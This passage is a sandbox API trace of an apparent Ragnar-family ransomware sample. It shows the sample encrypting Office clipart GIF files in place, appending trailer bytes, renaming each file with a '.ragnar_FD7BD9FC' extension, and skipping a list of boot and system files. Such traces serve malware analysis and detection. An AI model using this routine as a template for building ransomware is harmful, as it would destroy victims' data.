lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.437] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.437] GetProcessHeap () returned 0x580000 [0093.437] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.437] CloseHandle (hObject=0x104) returned 1 [0093.437] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" [0093.437] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.ragnar_FD7BD9FC" [0093.437] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.438] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0093.438] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.438] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02106_.GIF" | out: lpString1="WB02106_.GIF") returned="WB02106_.GIF" [0093.438] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF") returned=".GIF" [0093.438] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.438] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="autorun.inf") returned 1 [0093.438] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="boot.ini") returned 1 [0093.438] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="bootfont.bin") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="bootsect.bak") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="bootmgr") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="bootmgr.efi") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="desktop.ini") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="iconcache.db") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="ntldr") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="ntuser.dat") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="ntuser.ini") returned 1 [0093.439] lstrcmpiW (lpString1="WB02106_.GIF", lpString2="thumbs.db") returned 1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.439] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif")) returned 0x20 [0093.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.440] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=5626) returned 1 [0093.440] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x15f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.440] GetProcessHeap () returned 0x580000 [0093.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.440] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.441] VirtualAlloc (lpAddress=0x0, dwSize=0x15fa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.441] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.441] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.442] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15fa, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x15fa, lpOverlapped=0x0) returned 1 [0093.442] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.442] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.442] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15fa, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x15fa, lpOverlapped=0x0) returned 1 [0093.443] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.443] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.443] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x15fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.443] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.443] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.443] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.443] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.443] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.443] GetProcessHeap () returned 0x580000 [0093.443] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.443] CloseHandle (hObject=0x104) returned 1 [0093.443] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" [0093.443] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.ragnar_FD7BD9FC" [0093.443] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.444] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0093.444] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.444] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02116_.GIF" | out: lpString1="WB02116_.GIF") returned="WB02116_.GIF" [0093.444] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF") returned=".GIF" [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="autorun.inf") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="boot.ini") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="bootfont.bin") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="bootsect.bak") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="bootmgr") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="bootmgr.efi") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="desktop.ini") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="iconcache.db") returned 1 [0093.444] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="ntldr") returned 1 [0093.445] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="ntuser.dat") returned 1 [0093.445] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.445] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="ntuser.ini") returned 1 [0093.445] lstrcmpiW (lpString1="WB02116_.GIF", lpString2="thumbs.db") returned 1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.445] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif")) returned 0x20 [0093.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.446] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1007) returned 1 [0093.446] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.446] GetProcessHeap () returned 0x580000 [0093.446] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.446] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.448] VirtualAlloc (lpAddress=0x0, dwSize=0x3ef, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.448] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.448] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.448] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x3ef, lpOverlapped=0x0) returned 1 [0093.448] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.448] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ef, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.448] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3ef, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x3ef, lpOverlapped=0x0) returned 1 [0093.448] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.448] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.448] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.448] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.448] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.448] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.449] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.449] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.449] GetProcessHeap () returned 0x580000 [0093.449] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.449] CloseHandle (hObject=0x104) returned 1 [0093.449] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" [0093.449] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.ragnar_FD7BD9FC" [0093.449] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.450] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0093.450] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.450] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02134_.GIF" | out: lpString1="WB02134_.GIF") returned="WB02134_.GIF" [0093.450] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF") returned=".GIF" [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="autorun.inf") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="boot.ini") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="bootfont.bin") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="bootsect.bak") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="bootmgr") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="bootmgr.efi") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="desktop.ini") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="iconcache.db") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="ntldr") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="ntuser.dat") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="ntuser.ini") returned 1 [0093.450] lstrcmpiW (lpString1="WB02134_.GIF", lpString2="thumbs.db") returned 1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.450] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif")) returned 0x20 [0093.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.451] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2431) returned 1 [0093.451] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x976, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.451] GetProcessHeap () returned 0x580000 [0093.451] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.451] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.454] VirtualAlloc (lpAddress=0x0, dwSize=0x97f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.454] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.454] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.454] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x97f, lpOverlapped=0x0) returned 1 [0093.454] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.454] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x97f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.454] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x97f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x97f, lpOverlapped=0x0) returned 1 [0093.454] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x97f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.455] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.455] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x97f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.455] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.455] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.455] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.455] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.455] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.455] GetProcessHeap () returned 0x580000 [0093.455] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.455] 